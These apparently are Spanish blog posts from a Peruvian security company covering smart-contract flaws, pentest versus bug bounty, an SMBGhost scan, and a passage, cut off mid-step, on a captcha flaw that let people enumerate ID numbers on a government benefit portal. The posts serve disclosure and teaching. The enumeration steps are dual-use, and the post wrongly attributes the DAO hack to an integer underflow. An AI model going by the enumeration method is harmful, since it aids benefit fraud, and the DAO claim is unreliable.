Falta de estandarización: actualmente no existen estándares ampliamente aceptados para el desarrollo de contratos inteligentes, lo que significa que cada desarrollador o equipo puede usar su propio enfoque de codificación. Esta falta de estandarización puede dificultar que los desarrolladores aprendan de los errores de los demás y mejoren su código.
Error humano: Incluso los desarrolladores experimentados pueden cometer errores al escribir código, especialmente cuando están trabajando en un proyecto complejo. Un solo error en un smart contract puede generar vulnerabilidades que los atacantes pueden aprovechar.
Falta de Auditorías especializadas: las pruebas manuales exhaustivas son esenciales para identificar y abordar las vulnerabilidades en los contratos inteligentes. Sin embargo, es posible que muchas empresas auditoras no lleven a cabo las pruebas adecuadas, dejando su código abierto a posibles ataques.

Para abordar estos problemas, los desarrolladores deben priorizar la seguridad en el desarrollo de sus contratos inteligentes, buscar asesoramiento y orientación de expertos y seguir las mejores prácticas para la codificación y las pruebas seguras. Además, la comunidad de desarrollo en su conjunto puede trabajar hacia la estandarización y la mejora de las prácticas de seguridad para reducir el riesgo de ataques y vulnerabilidades.

Entendiendo el ecosistema del smart contract (blockchain)

El ecosistema de contratos inteligentes se refiere al entorno colectivo, las tecnologías y los componentes relacionados con la creación, implementación y utilización de smart contracts en sistemas basados en blockchain.

Imagen 1: Diagrama de Flujo Regular

Imagen 2: Diagrama de Flujo de Análisis

Para desplegar “Smart Contracts” en el ecosistema de la blockchain, se conectó nuestra billetera(metamask) con un nodo de “Infura” usando la biblioteca web3.py de python.

Imagen 3: Despliegue del Smart Contract en la Blockchain

Después de desplegar los Smart Contracts y ya teniendo los contratos en la blockchain es posible revisar las interacciones que tiene este contrato con otros, como realizar el seguimiento de una transacción y su historial, saber la información de un token, verificar códigos fuentes y códigos de bytes, monitorear las transacciones en la red de Ethereum, observar gráficos de precio y datos del mercado, y rastrear el rendimiento de varios token ERC-20 que son un estándar técnico utilizado para implementar tokens fungibles en la blockchain de Ethereum. Los tokens fungibles son intercambiables e idénticos entre sí, lo que significa que cada token tiene el mismo valor y se puede intercambiar uno a uno.

Para realizar el seguimiento de nuestras transacciones en la blockchain puedes visitar la siguiente dirección:

https://sepolia.etherscan.io/address/0x358356edc9d842eFE062595f0edf18a96422C6dc

Video 1: Desplegando nuestro contrato en la blockchain

Imagen 4: Historial de nuestro contrato desplegado en la blockchain

Las vulnerabilidades más comunes en los smart contracts

Los smart contracts han ganado una inmensa popularidad debido a su capacidad para automatizar y hacer cumplir los acuerdos sin intermediarios. Sin embargo, no son inmunes a las vulnerabilidades que pueden conducir a graves riesgos financieros y de seguridad. En este artículo, exploraremos las vulnerabilidades más comunes que se encuentran en smart contracts, destacaremos la importancia de comprender la lógica de las vulnerabilidades y desarrollaremos ejemplos de smart contracts vulnerables

1. Integer over- and underflows

Si hay un límite para el tamaño de los números almacenados en las computadoras, ¿qué sucede cuando cruzamos este límite?

En Ethereum, cada ranura entera sin firmar tiene un espacio de almacenamiento de 32 bytes o 256 bits. Digamos que desea realizar una suma aritmética entre 2 enteros legítimos, pero sin signo:

A = 0x00…001 (1)
B = 0xFF…FFF (2 ²⁵⁶ - 1, valor máximo sin signo)
C = A + B = 0x00…001+ 0xFF…FFF = 1 + (2 ²⁵⁶ - 1) =
2 ²⁵⁶ = 0x 1 00…000

Imagen 5 : Lógica de la vulnerabilidad Integer over- and underflows

El resultado de esta suma aritmética es un número mayor que el máximo entero posible.

La variable usada representa el número positivo 1 seguido de 256 ceros (b100…000), que en total tiene una longitud de 257 bits. Pero la ranura del valor entero en el almacenamiento solo puede tener 256 bits. Por lo tanto, solo los 256 (bits más a la derecha) se almacenan y todo lo demás se ignora.

Como resultado, el valor que realmente se almacena es 0x00…000 (0), esto es un desbordamiento de enteros.

Imagen 6: Contrato vulnerable a Interoverflow

El incidente de ciberseguridad que afectó a DAO, también conocido como ataque DAO o exploit DAO, ocurrió en el 2016 y fue uno de los eventos más significativos en la historia de las criptomonedas y la tecnología blockchain. La DAO era una organización autónoma descentralizada construida sobre la blockchain de Ethereum, diseñada para operar como un fondo de capital de riesgo regido por smart contracts.

La vulnerabilidad en el código del smart contract de DAO permitió a un atacante manipular el sistema de contabilidad interno. Al explotar un error de integer underflow, el atacante pudo solicitar fondos repetidamente del DAO sin actualizar el saldo de su cuenta. Esto les permitió drenar una cantidad significativa de Ether de la DAO, lo que generó pérdidas financieras sustanciales en este caso de $60 millones.

2. Re-Entrancy (re-ingreso)

Los contratos maliciosos llaman repetidamente a una función en otro contrato antes de que finalice la primera llamada de función, lo que podría causar un comportamiento inesperado y robar fondos.

Imagen 7: Lógica de la vulnerabilidad Re-Entrancy

El “contrato B” pediría un retiro del “contrato A” llamando la función ataque.
“Contrato A” llama a la función de retiro y envía 1 ether a “contacto B” después de confirmar B tiene más de 0 ether en el contrato
La transferencia del “Contrato A” al “Contrato B” ha activado una función de respaldo.
La función de retroceso le pediría otra retirada.
La transferencia del “Contrato A” al “Contrato B” ha activado una función de respaldo nuevamente
La función de retroceso le pedirá otra vez que se retire: el proceso se repite.

Observe que el código de la función call() puede ejecutar una función en otro contrato. Luego de esto, se podría llamar a esta función, lo que resultaría en la ejecución de un retiro parcial (withdraw) varias veces antes de que se reduzca el saldo.

Imagen 8: Contrato vulnerable a Re-entrancy (re-ingreso)

Para evitar ataques de Re-entrancy (re-ingreso), generalmente se recomienda seguir el patrón de "comprobaciones-efectos-interacciones" en Solidity . En el siguiente código modificado, agregamos una nueva asignación “locked” para realizar un seguimiento de si un usuario tiene una transacción pendiente o no. La función withdraw() ahora verifica si el usuario tiene saldo suficiente y si no tiene transacciones pendientes antes de proceder con el retiro. Si las comprobaciones tienen éxito, bloquea la cuenta del usuario, deduce el monto solicitado de su saldo, envía el monto solicitado y luego desbloquea la cuenta. Si alguna de estas operaciones falla, la función se revertirá y devolverá un mensaje de error. lo que significa realizar todas las comprobaciones y modificar el estado del contrato (es decir, los efectos) antes de interactuar con contratos externos o direcciones de usuario.

Aquí podemos visualizar un ejemplo de cómo modificar la función ‘withdraw’ para evitar ataques de re-ingreso (Re-Entrancy):

Imagen 9: Contrato modificado, no es vulnerable (Re-Entrancy)

Uno de los principales incidentes de seguridad en DeFI fue el protagonizado por “Sturdy Finance”, un proyecto de finanzas descentralizadas (DeFi), se vio obligado a detener sus operaciones de mercado debido a un exploit de $800,000 que estaba vinculado a una fuente de datos de precios defectuosa transmitida a la blockchain. El incidente ocurrió el 12 de junio de 2023 y subrayó los riesgos asociados a confiar en fuentes de datos externas para determinar los precios de los tokens en los protocolos DeFi.

En este exploit en particular, el origen de datos respecto a precios utilizada por “Sturdy Finance” proporcionó información de precios inexacta, que fue manipulada por los atacantes. Al explotar esta vulnerabilidad, los atacantes pudieron manipular los precios de los tokens dentro del protocolo, creando oportunidades de manipular arbitrariamente los precios y beneficiándose a expensas de otros usuarios.

3. Front Running

La ejecución anticipada de esta vulnerabilidad puede ocurrir cuando un usuario envía una transacción a un smart contract, y un actor malicioso monitorea la blockchain (mempool) para detectar la transacción antes de que se confirme.

Luego, el atacante envía su propia transacción con un precio de gas más alto, lo que le permite ejecutar la misma antes de la original.

Imagen 10: Lógica de una transacción común.

Imagen 11: Lógica de la vulnerabilidad FRONT RUNNING

Imagen 12: Contrato vulnerable a FRONT RUNNING

Un gran ejemplo de esta vulnerabilidad es el ataque que se realizó a los primeros inversionistas de UNISWAP que buscaban ventajas en el mercado. Este caso trata acerca de que desde ocho direcciones se lograron robar $25,2 millones en activos mediante bots de front-running ejecutando la modalidad de ataque de “sandwich” que es una variante de Front-running.

El atacante supervisó la mempool o las transacciones pendientes en la red de Ethereum buscando grandes órdenes de compra o venta que puedan afectar significativamente el precio de un token en UNISWAP. Estas transacciones suelen ser enviadas por otros comerciantes. El atacante envía rápidamente sus propias transacciones antes y después de la transacción del comerciante para aprovechar el movimiento de precios causado por la operación de este. El objetivo es comprar barato y vender caro para beneficiarse de la discrepancia de precio, con ello el atacante se asegura de que sus transacciones se incluyan en el bloque antes y después de la transacción de destino. De esta forma, pueden manipular el precio de mercado y maximizar sus ganancias.

4. Denegación de Servicio (DoS)

Es el intento de interrumpir u obstaculizar el funcionamiento normal del contrato, saturando sus recursos o provocando un consumo excesivo de gas.

Imagen 13: Lógica de la vulnerabilidad DOS

Iniciamos desplegando el smart contract “Subasta”, después:

“Usuario A” se convierte en el “mejor postor” enviando 1 ether.
“Usuario B” se convierte en el “mejor postor” enviando 2 ether, entonces “Usuario A” recibe un reembolso de 1 ether.
“Usuario C” puja enviando 3 ether, pero el “Usuario C” no se convierte en el mejor postor, a pesar de enviar mayor cantidad de ether, esto se debe a que “Usuario B” crea una función alternativa que revierte todos los reembolsos.
El mejor postor es el "Usuario B” y nadie puede convertirse en el nuevo mejor postor.

Imagen 14: Contrato vulnerable a DOS

Otro de los ataques más resaltantes fue realizado a Solana, quién después de sufrir una interrupción por denegación de servicio perdió el 15% del valor en las últimas 24 horas el 14 de septiembre de 2021 logrando afectar su precio en el mercado debido a la caída en el sistema pasando de cotizarse $175 a $145, siendo la noticia de este ataque la detonante de que los precios cayeran debido a la incertidumbre y preocupación.

La denegación de servicio se dio al gran aumento de la carga de transacciones que fueron 400000 por segundo lo que causó la saturación de la red, de esta manera, cuando no se pudo estabilizar, se optó por coordinar un reinicio de la red. Así mismo, el día martes 14 de septiembre, una entidad desconocida intentó atacar Ethreum sin éxito.

5. Signature Malleability (Maleabilidad de la firma)

Ocurre cuando se utilizan incorrectamente las firmas ECDSA (Algoritmo de firma digital de curva elíptica). La vulnerabilidad permite que un atacante cambie ligeramente la firma sin validarla en sí. Esto sucede a menudo cuando un smart contact no valida las firmas correctamente, lo que permite a los atacantes modificarlas y potencialmente eludir las medidas de seguridad.

Una curva elíptica consta de todos los puntos que satisfacen una ecuación de la forma:

y ² = x ³ + ax + b

Las curvas siempre son simétricas con respecto al eje x.

Imagen 15: Curva elíptica

Las firmas ECDSA consisten en un par de números, (r, s), de orden entero n. Como resultado de la simetría del eje x, si (r, s) es una firma válida, entonces también lo es (r, −s mod n).

Donde:

r : es un valor derivado del punto de la curva elíptica (x, y) generado durante el proceso de firma. El r valor es la coordenada x de ese punto.

s : es un valor calculado durante el proceso de firma utilizando la clave privada, el hash del mensaje y r. El valor s está destinado a demostrar que el firmante tiene conocimiento de la clave privada.

v : es el identificador de recuperación, que se utiliza para recuperar la clave pública correcta (dirección) de la firma.

Es posible calcular esta firma complementaria sin conocer la clave privada utilizada, lo que le da al atacante la capacidad de producir una segunda firma válida.

Imagen 16: Contrato vulnerable a Signature Malleability

En el ejemplo anterior, podemos ver que “messageHash” se guarda en una asignación “messageUsed” después de la ejecución y se valida para que no exista en esa asignación antes de la ejecución. El problema con esto es que, si “messageHash” puede modificar manteniendo la validez, un atacante puede repetir la transacción.

Para evitar este problema, es imperativo reconocer que para validar que una firma no se reutilice no solo basta con hacer cumplir que esta sea válida.

Mt. Gox ha experimentado pérdidas sustanciales. Este ataque aprovechó una vulnerabilidad conocida como Signature Malleability, que permitió a los atacantes manipular el identificador único de transacción (TXID) de las transacciones de Bitcoin. Al alterar el TXID, los atacantes podían hacer que pareciera que una transacción no se había procesado, lo que les permitía solicitar retiros repetidamente de Mt. Gox sin que el intercambio detectara la duplicación.

Este ataque de Signature Malleability en Mt. Gox resultó en pérdidas de $600 millones en Bitcoins lo que socavó la confianza de los usuarios en el intercambio. Desde entonces, el incidente ha servido como una advertencia para la industria, enfatizando la necesidad de mejorar las prácticas de seguridad y la implementación de salvaguardas para prevenir este tipo de ataques en el futuro.

Comentarios finales

En conclusión, mejorar el conocimiento de las finanzas descentralizadas (DeFi) por parte de las empresas auditoras y realizar evaluaciones exhaustivas de seguridad como ethical hacking o bug-bounty son cruciales para identificar y mitigar vulnerabilidades específicas en contratos inteligentes y protocolos DeFi. Dado el rápido crecimiento y la complejidad del ecosistema DeFi, es esencial que los profesionales de la ciberseguridad se familiaricen con los aspectos únicos de la tecnología blockchain y las criptomonedas.

Es importante reconocer que muchos ataques a las plataformas y protocolos DeFi no se originan a partir de vulnerabilidades dentro de las propias tecnologías de cadena de bloques subyacentes. Si bien la tecnología blockchain proporciona una base segura e inmutable, a menudo son los componentes externos, como los smart contracts, las aplicaciones descentralizadas (dApps) y las interacciones de los usuarios, donde se explotan las vulnerabilidades.

Para abordar estas preocupaciones, han surgido varias iniciativas y mejores prácticas para mejorar la seguridad de estos como, por ejemplo:

Auditorías de código fuente
Programas de recompensas por errores (bugbounty) especializados
Prácticas de desarrollo seguro

Si deseas implementar la seguridad en tus smart contracts en gestión o estás en alguna de las situaciones de la información brindada, no dudes en contactarnos comercial@deepsecurity.pe

Bug Bounty vs Penetration Testing: ¿Cuál es el enfoque correcto para tu organización?

Tue, 08 Aug 2023 22:00:21 GMT

Los programas de bug bounty (recompensas por errores) y penetration testing (pruebas de penetración son dos enfoques distintos para las pruebas de seguridad, cada uno con sus propios beneficios y consideraciones. Si bien algunos pueden verlos como métodos opuestos, en realidad pueden funcionar en conjunto para mejorar la postura de seguridad de una organización. Es importante comprender las diferencias entre los dos y evaluar qué enfoque se alinea mejor con las metas, el objetivo y los recursos específicos de la organización.

En primer lugar, ¿qué es bug bounty (recompensa por errores) y qué es penetration testing (prueba de penetración)?

Bug Bounty : las empresas permiten que los hackers éticos, investigadores de ciberseguridad y pentesters de todo el mundo reporten los errores y brechas de seguridad que encuentren. Si se considera que un error puede comprometer la seguridad de su sistema, la empresa paga a la persona que envió la vulnerabilidad reportada, lo que generalmente se denomina bug bounty (recompensa por errores).

Penetration Testing : una organización contrata a una empresa como DEEP SECURITY para realizar una prueba de su entorno e informar sobre cualquier problema de seguridad.

Las pruebas de penetración se pueden realizar en cualquier sistema, aplicación, red o infraestructura. También se pueden realizar en tres tipos diferentes de pruebas, que incluyen:

Diferencias entre Pentest y Bug Bounty

Pentest vs Bug Bounty: distintas duraciones

Un pentest (prueba de penetración) se lleva a cabo dentro de un período de tiempo predeterminado, que generalmente abarca unas pocas semanas por semestre o por año. La duración de la prueba se basa en la complejidad del sistema de destino y el nivel deseado de minuciosidad en la evaluación de seguridad. Proporciona comentarios de seguridad específicos para una fecha determinada, lo que permite a las organizaciones programar pruebas de acuerdo con su ciclo de lanzamiento, evaluar su postura de seguridad y priorizar las medidas de seguridad con regularidad.

Por otro lado, un programa bug bounty (recompensas por errores) a menudo está en curso durante todo el año, sin una fecha de finalización fija. Las pruebas continuas aseguren el monitoreo continuo del perímetro del sistema. Los hacker éticos independientes, también conocidos como cazadores de errores, examinan las nuevas implementaciones a medida que se presentan.

En algunos casos, los investigadores de seguridad pueden invertir mucho tiempo en un programa de bug bounty (recompensas por errores) si tienen un gran interés en el proyecto debido a desafíos técnicos, recompensas atractivas o fascinación personal con el tema.

Pentest vs Bug Bounty: distintas necesidades

Las motivaciones detrás de un pentest (prueba de penetración) y de un programa de bug bounty (recompensa por errores) no son las mismas.

Los objetivos de un pentest (pruebas de penetración) son bastante diferentes, se utilizan para:

Evaluar el nivel de seguridad digital de un activo en un momento dado.
Detectar posibles vulnerabilidades que puedan estar ocultas en el activo.
Conducir a certificaciones, que son esenciales para cumplir con ciertos estándares, como SOC2 e ISO 27001, o requisitos contractuales, por ejemplo, como parte de una fusión-adquisición.

Los objetivos de un programa de bug bounty (recompensa por errores) son:

Proporcionan un seguimiento continuo de un activo, lo que garantiza que esté bajo un escrutinio constante en busca de posibles vulnerabilidades. Este enfoque permite que las organizaciones se mantengan vigilantes y proactivas al abordar los problemas de seguridad.
Permiten realizar pruebas exhaustivas del activo, enfocándose específicamente en vulnerabilidades complejas que pueden haberse pasado por alto en evaluaciones anteriores.

Pentest vs Bug Bounty: distinto público objetivo

Un programa de pentest (prueba de penetración) es más adecuado para sistemas relativamente nuevos con respecto a la seguridad como aplicaciones que van a salir por primera vez a producción; mientras que un programa de bug bounty (recompensas por errores) se recomiendan para perímetros robustos, que ya han pasado por varias pruebas de pentest .

1. Pentest (prueba de penetración), el mejor acercamiento a los perímetros relativamente nuevos

Un programa de pentest (prueba de penetración) es la opción óptima para perímetros de reciente creación que requieren validación de sus medidas de seguridad, tales como:

Una nueva aplicación o sitio web que nunca antes ha sido auditado.
Una versión nueva posiblemente contenga nuevas vulnerabilidades.

En el caso de que el activo no se haya sometido a ninguna prueba previa, es muy probable que los investigadores de seguridad descubran numerosas vulnerabilidades. A través de un pentest (prueba de penetración), la organización puede abordar las vulnerabilidades más evidentes a un costo predeterminado. Por el contrario, con un programa de bug bounty (recompensa por errores), cada vulnerabilidad se informará individualmente, lo que daría como resultado que se pagarán incentivos por separado. Aunque el presupuesto requerido para un programa de bug bounty (recompensa por errores) sería significativamente mayor, la cantidad total de vulnerabilidades identificadas seguiría siendo la misma.

2. Bug Bounty (recompensa de errores), el enfoque ideal para activos maduros

Los programas de bug bounty (recompensas por errores) están diseñados específicamente para activos maduros que ya se han sometido a pruebas y han establecido medidas de seguridad. Cuando una aplicación o sistema ha sido probado a fondo o sus defensas han sido fortalecidas por el equipo de Blue Team, se espera que tenga vulnerabilidades mínimas.

Sin embargo, esto no implica que el activo sea completamente inmune a las vulnerabilidades. Todos los activos digitales poseen inherentemente debilidades explotables, aunque es posible que aún no se hayan descubierto. Aquí es donde la comunidad de hackers éticos juega un papel crucial.

En un bug bounty (programa de recompensas por errores), los investigadores pueden dedicar varios meses a buscar activamente vulnerabilidades dentro de un alcance determinado. Estos tienen la oportunidad de descubrir vulnerabilidades complejas que pueden haber pasado desapercibidas durante un pentest (prueba de penetración) tradicional que generalmente dura sólo unas pocas semanas.

Lanzar un programa de bug bounty (recompensa por errores) en un alcance inmaduro puede resultar potencialmente con mayores costos para la empresa, especialmente si se descubren numerosas vulnerabilidades que podrían haberse abordado a través de una prueba de penetración a un costo fijo. Por otro lado, los programas de recompensas por errores son ideales para probar entornos maduros donde las vulnerabilidades ocultas son más complejas y requieren más tiempo para encontrarlas

Pentest vs Bug Bounty: conoce el número de investigadores involucrados

Una distinción clave entre un pentest (prueba de penetración) y un programa de bug bounty (recompensa por errores) radica en la cantidad de investigadores involucrados en cada programa, lo que afecta significativamente su efectividad.

Por lo general, un pentest (prueba de penetración) implica la participación de uno a tres pentesters, teniendo en cuenta el presupuesto asignado y la importancia del proyecto. Por otro lado, un programa de bug bounty (recompensa por errores) puede movilizar a toda la comunidad de hackers éticos, lo que podría involucrar a cientos de personas. Esto abre un amplio grupo de investigadores de seguridad con diversas habilidades y experiencia.

Pentest as a Service y Private Bug Bounty: soluciones adaptables y versátiles que permiten mejor adaptación y personalización en las metodologías de prueba de seguridad

Pentest (pruebas de penetración) y Bug Bounty (recompensa por errores) tienen sus propias fortalezas y debilidades, especialmente en sus formas convencionales. El primero, tiene la ventaja de ser más confidencial y la capacidad de evaluar ámbitos que no son accesibles externamente; mientras que el segundo ofrece un grupo más grande de recursos humanos y un modelo de pago basado en resultados que las organizaciones encuentran atractivos.

Sin embargo, estas distinciones no están rígidamente definidas. Existe una amplia gama de enfoques que se encuentran entre el pentest tradicional y los programas públicos de recompensas por errores. Estas variaciones permiten una mejor personalización en términos de presupuesto, confidencialidad, alcance y habilidades requeridas.

Consideramos específicamente los siguientes matices:

Pentest as a service (pruebas de penetración como servicio): este servicio no lo realice una consultora o un proveedor de servicios estándar, sino que el pentest (prueba de penetración) es realizado por una plataforma que involucra a su comunidad de investigadores y hackers éticos.

Private Bug Bounty (programas privados de recompensas por errores): es un enfoque controlado y solo participan organizaciones que fueron invitadas. En este servicio, la organización establece el alcance, las reglas y las recompensas para el programa de bug bounty (recompensas por errores) tal es el caso de los servicios que brinda DEEP SECURITY y su comunidad de cazadores seleccionados.

Algunos ejemplos de las vulnerabilidades reportadas por el equipo de DEEP SECURITY se presentan a continuación:

Netflix - Responsible Vulnerability Disclosure

https://help.netflix.com/en/node/6657

Cisco - Identity Services Engine Guest Portal Login Limit Bypass Vulnerability

https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-20171115-ise.html

Entre pentest o bug bounty, ¿qué enfoque es correcto para tu organización?

Los enfoques de pentest (pruebas de penetración) y bug bounty (recompensa por errores) tienen sus propias fortalezas y no son intrínsecamente superiores entre sí. De hecho, tratar de compararlos como opciones opuestas puede no ser significativo. En cambio, cada método tiene sus propias características específicas que lo hacen más adecuado en ciertas situaciones. Es importante considerar estas especificaciones y elegir el enfoque que mejor se alinee al contexto y los objetivos de la organización.

1. Pentesting (prueba de penetración), es idóneo para:

Evaluar la seguridad digital de un producto en un momento específico.
Realización de pruebas en objetivos que no son accesibles desde el exterior.
Cumplir con los requisitos de cumplimiento y obtener certificaciones de seguridad.
Realización de evaluaciones iniciales en alcances más nuevos para identificar y abordar vulnerabilidades importantes dentro de un presupuesto predeterminado, antes de pasar a un enfoque de recompensa por errores.

2. Bug bounty (recompensa por errores) es ideal para:

Probar un activo continuamente.
Identificar vulnerabilidades críticas en profundidad, más difíciles y lentas de encontrar.
Optimizar la investigación multiplicando habilidades y recursos humanos gracias a la comunidad de hackers éticos.
Probar los perímetros maduros, por ejemplo, que han sido probados de antemano.

Análisis de SMBGhost en Latinoamérica

Wed, 24 Jun 2020 05:52:39 GMT

Escaneando Latinoamérica con GoGhost

SMBGhost (CVE-2020-0796) es una vulnerabilidad de ejecución remota de código, no autenticada, en Microsoft Server Message Block 3.1.1 (SMBv3). La vulnerabilidad sólo requiere que el puerto 445 esté abierto, y un atacante podría conectarse y ejecutar comandos sin necesidad de tener usuario o contraseña.

Esta vulnerabilidad, debido al servicio en el que se encuentra Microsoft SMB tiene un enorme potencial de efecto tipo gusano. Esto quiere decir que, si se infecta una PC en una LAN (Local Area Network), puede replicar el ataque de forma local e infectar a todos los demás ordenadores de la red. Dicha vulnerabilidad explota una ejecución remota de comandos via SMB puerto 445 expuesto, igual a la usada por el ransomware WannaCry en 2017 que infectó en un solo día más de 140,000 PCs en todo el mundo.

En DeepSecurity, entendemos la gravedad de este tipo de vulnerabilidades y queremos ayudar a fortalecer la ciberseguridad e infraestructura del mercado local y de países de la región. En ese sentido, dada la coyuntura y la exposición masiva de PCs y Servidores con Windows a Internet. Donde vimos el potencial de realizar herramientas de seguridad en lenguajes de programación de nueva generación como “Go”, lenguaje creado por Google y que originalmente fue diseñado para crear infraestructura y backend capaces de procesar un gran volumen de datos usando pocos recursos. El lenguaje está centrado netamente en el performance y empresas como CloudFlare y Facebook ya la están usando para optimizar su velocidad.

Decidimos crear GoGhost , herramienta con potencial para escanear segmentos completos de Internet, y que nos permitió realizar un escaneo de más de 125 millones de direcciones IP de Latinoamérica en busca de estadísticas sobre esta vulnerabilidad. GoGhost no realiza escaneos intrusivos, ni ejecución de pruebas de corrupción de memoria en los servidores Windows. GoGhost realiza pruebas con paquetes SMB diseñados para encontrar servidores que soportan específicamente el algoritmo de compresión “LZNT1” en el protocolo emulando una petición maliciosa sin explotar la vulnerabilidad en sí.

Nuestro análisis se enfocó principalmente en hallar todos los servicios SMB (445/tcp) que tuviesen compresión y estuviesen expuestos a internet. Usando GoGhost , validamos todas las direcciones IPv4 de latinoamérica registradas en LACNIC (lacnic.net), un total de aproximadamente 125 millones de direcciones.

Colombia fue el país que mostró mayor porcentaje de servidores potencialmente vulnerables, un 17% del total de 1203 servidores SMB expuestos (tcp/open) a Internet. Este porcentaje representa más de 150 servidores, que corren el riesgo de ser expropiados por ciberdelincuentes para ser utilizados en minería de criptomonedas, ser infectados por ransomware o ser utilizado como parte de una enorme Botnet. Microsoft califica esta vulnerabilidad como crítica (CVE-2020-0796) y debería ser parchada cuanto antes. En Brasil, un país que cuenta con un porcentaje relativamente bajo, debido a su desarrollo tecnológico y desarrollo digital, expone más de 700 servidores Windows potencialmente vulnerables.

En Perú se encontró que el 7% de los servidores con SMB expuestos, resultan ser potencialmente vulnerables, resultado bastante cercano al promedio de 8% de la región. Fueron más de 100 servidores potencialmente vulnerables los encontrados, menor que los encontrados en el análisis de Windows SMB BlueKeep.

GoGhost es una herramienta programada 100% en Go, lo que permitió al equipo de investigadores de DeepSecurity realizar escaneos masivos confirmando 22,500 direcciones IP potencialmente vulnerables a SMBGhost (CVE-2020-0796) en solo 2 segundos .

El potencial de escaneo de esta herramienta nos revela el verdadero paradigma de Internet, todo está conectado y accesible desde cualquier IP. Se realizó un análisis comparativo entre Nmap y GoGhost para encontrar direcciones IP potencialmente vulnerables a SMBGhost (CVE-2020-0796) , los resultados se adjuntan a continuación:

Usando el siguiente script de NMAP “smb2-capabilities_patched.nse” para validar la vulnerabilidad de SMBGhost (CVE-2020-0796) , se escanearon casi 25,000 direcciones IP de un segmento de Internet. El escaneo de NMAP demoró cerca de 650 segundos en terminar vs GoGhost que tardó solo 2.5 segundos.

MAP realizó el escaneo de 24,576 direcciones IP en 645.5 segundos, cabe indicar que se utilizó -T5 para tratar de dar la mayor velocidad soportada (insane – T5).

Se contrastaron los resultados de ambas herramientas, donde se validó la misma cantidad de puertos 445/tcp abiertos usando la misma muestra 24,576 direcciones IP de Latinoamérica.

GoGhost es una herramienta OpenSource disponible en código fuente 100% Go : GitHub: https://github.com/deepsecurity-pe/GoGhost

Como conclusión, existen miles de servidores potencialmente vulnerables a SMBGhost en latinoamérica y que corren el riesgo de convertirse en víctimas de ciberdelincuentes que se encuentran en búsqueda de nuevos servidores para vulnerar.

Para evitar que tu servidor sea vulnerable, puedes deshabilitar la compresión en Windows SMB con la siguiente línea en powershell:

Set-ItemProperty -Path «HKLM:\SYSTEM\CurrentControlSet\Services\ LanmanServer\Parameters» DisableCompression -Type DWORD -Value 1 -Force

Microsoft, además, ya ha publicado parches de seguridad que aseguran la compresión SMB para evitar la vulnerabilidad y pueden descargarse desde la web oficial de Microsoft.

Versiones de windows afectadas:

Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows Server, version 1903 (Server Core installation)

Windows Server, version 1909 (Server Core installation)

Reporte de Ciberinteligencia - Operación: APAKUY

Mon, 01 Jun 2020 05:50:58 GMT

Esta publicación se basa en nuestro reporte en PDF y nuestras evidencias .

Introducción:

DeepSecurity es una empresa de ciberseguridad con reconocimiento nacional e internacional la cual realiza constantes investigaciones en distintos temas respecto a ciberseguridad y ciberinteligencia.

Es importante indicar DeepSecurity no ha recibido ningún beneficio económico fruto de esta investigación y su único fin es reportar y demostrar fallos de ciberseguridad que venían siendo usados por ciberdelincuentes para beneficiarse con los bonos ofrecidos por el gobierno peruano. DeepSecurity es una empresa 100% peruana y de una trayectoria intachable. El presente informe se basa en las buenas prácticas de seguridad para aplicaciones web “OWASP Top 10” como estándar para tipificar las vulnerabilidades presentadas.

Antecedentes:

Durante nuestras investigaciones de ciberinteligencia, encontramos un grupo en Telegram donde se mencionan distintos temas desde hacking de aplicaciones web hasta robo de tarjetas (carding). Al realizar el análisis de los indicios encontramos algunos de los 550 ciberdelincuentes miembros de este grupo publicaban información sobre un fallo en la web del bono universal que permitía apropiarse del bono de los beneficiarios. Como investigadores de ciberseguridad certificados y 100% profesionales, seguimos la ruta de las evidencias dejadas por los ciberdelincuentes para validar si la vulnerabilidad era real.

Método para obtener el bono de forma legal:

Paso 1 : Ingresar DNI y fecha de emisión del DNI.

Paso 2: Responder las consultas de autenticación basados en datos de RENIEC, como nombre del padre de la madre y lugar de nacimiento.

Paso 3 : Ingresar un número de teléfono donde se enviará la clave SMS para el cobro del bono.

Paso 4 : El código SMS enviado es usado en el cajero automático (ATM) para realizar el retiro del dinero.

Método para obtener el bono de forma ilegal:

El mayor problema de seguridad que tuvo el sistema del bono está relacionado con la opción de “captcha” la cual no funcionaba.

¿Qué es captcha?
Es ese recuadro con imágenes que dice «No soy un robot».

¿Para qué sirve?
Cada vez que se envía una consulta de DNI, la opción “captcha” solicita que resuelvas un desafío basado en imágenes que pertenecen a la misma categoría, una vez que lo resuelves, el formulario puede ser enviado. Sin embargo, el “captcha” encontrado en el sitio web de Bono Universal (bonouniversalfamiliar.pe) y Bono Independiente (bonoindependiente.pe) no estuvo bien implementando motivo por el cual se podían enviar el formulario de forma masiva (ilimitada) usando herramientas automatizadas.

¿Qué quiere decir esto?
Que un robot (programa que envía peticiones masivas) podría intentar autenticar en el portal n números de DNI sin tener que resolver la adivinanza de imágenes, obteniendo todos los números DNI con bono universal del Perú ( Video completo de la explotación usando Burp Suite ) . Este tipo de vulnerabilidades se encuentra bien identificada como “Configuración de Seguridad Incorrecta OWASP A6:2017” según lo indicado en las guías de buenas prácticas de seguridad conocidas como “OWASP TOP 10” que es un estándar reconocido internacionalmente.

Paso 1:
El equipo de DeepSecurity generó una lista de 2500 números de DNI usando un programa (script) desarrollado en python *. Envió la lista de 2500 peticiones y en segundos se pudo confirmar la vulnerabilidad. Cuando el servidor del bono recibía un DNI que era beneficiario del bono, se recibía como respuesta el número 100 mientras que cuando se consultaba un DNI no beneficiado devolvía el número 101.

Hasta ese punto el equipo de DeepSecurity podía encontrar los DNI que si eran beneficiarios ( Descargar video del ataque automatizado ) . Posteriormente hicimos el mismo ataque enfocados en la fecha de emisión del DNI, como el servidor no contaba con la protección anti peticiones robotizadas, realizamos peticiones masivas sobre la fecha de emisión hasta confirmar pudieron ser halladas. 2500 DNIs y 1500 fechas pueden ser probadas en menos de 5 minutos.

Paso 2:
Hasta este punto se había autenticado al beneficiario (ciberdelincuente) en el sistema del bono universal, posteriormente el sistema te pide que ingreses datos como:

Nombre del Padre
Nombre del Madre
Fecha de Nacimiento

Que en realidad no profundizaremos mucho más en mencionar como conseguir esta información dado que el cibercriminal podría inclusive comprar de forma ilegal una ficha de la víctima por menos de S/.20.

Paso 3:
